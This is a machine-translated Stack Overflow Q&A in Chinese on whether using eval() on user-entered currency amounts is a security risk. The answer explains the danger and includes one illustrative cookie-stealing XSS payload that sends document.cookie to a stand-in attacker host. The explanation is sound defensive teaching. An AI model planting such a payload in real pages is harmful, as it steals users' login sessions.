Possible Duplicate:
When is JavaScript’s eval() not evil?
我正在编写一个脚本,用户必须在其中输入货币金额,一些示例可能是(用户输入 >> 转换为),以美元为默认货币:
50 >> 50.0 USD
50.5 >> 50.5 USD
50+1 USD >> 51.0 USD
50 GBP >> 50.0 GBP
我想让这一切尽可能顺利,因此我想使用 JavaScript(这是一个基于 PHP/MySql + JavaScript 的网络应用程序)。我想使用正则表达式来过滤输入,通过 eval()
运行它并返回它。
这是个坏主意吗?我读过一些关于 eval()
是安全问题的话题。我只是不知道如何。无论如何,用户都可以轻松运行 JavaScript?
请记住,我将在稍后阶段使用 PHP 验证所有服务器端输入。
你是对的,最终用户可以通过浏览器的开发者控制台轻松地执行任意 JavaScript(我一直这样做)。您需要担心的是,攻击者会劫持您使用 eval
的功能来达到自己的目的。
eval
通常被认为是危险的原因是因为它非常 很容易让不受信任的代码潜入。考虑一个允许您通过查询字符串指定输入的页面,其中输入框预先填充了查询字符串中的值。
攻击者可以传播包含窃取用户登录 cookie 的代码的链接:
/some/url?amount=var i=new Image();i.src='http://badguy.ru/x?' + document.cookie;
(显然需要正确的 URL 编码;这只是为了说明。)
或者,您的 PHP 脚本可能会在验证失败时将发布的数据回显到您的表单中。攻击者可以创建一个特制的表单,该表单使用相同的 cookie 窃取代码发布到您的表单。
这些攻击中的每一种都可以通过使用 httpOnly
cookie(以防止登录 cookie 被盗)或确保数据经过清理来缓解——但关键是这还远不是一个详尽的列表事情是如何出错的。例如,注入(inject)的脚本仍然可以在金额字段中插入 1000,并尝试将该金额转账到攻击者的账户(如果这是一个转账页面)。
即使考虑到您使用正则表达式来清理输入这一事实也不一定能保护您:可以编写任意 JavaScript entirely with brackets !
所以底线是,如果您可以绝对确定输入进入您的文本字段的唯一方式是通过用户输入,那么您没问题:用户没有获得他们无法通过控制台做的任何事情。但是,如果攻击者能够以某种方式将他们自己的数据放入该字段,评估
它可能会使您面临漏洞。
另见: